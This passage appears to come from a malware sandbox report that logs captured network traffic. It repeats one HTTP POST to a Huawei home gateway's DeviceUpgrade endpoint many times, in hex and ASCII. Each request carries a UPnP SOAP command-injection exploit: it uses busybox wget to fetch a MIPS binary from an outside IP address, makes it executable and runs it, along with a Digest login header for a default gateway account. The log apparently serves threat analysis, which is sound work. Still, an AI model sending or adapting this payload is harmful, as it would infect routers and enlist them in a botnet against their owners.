2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 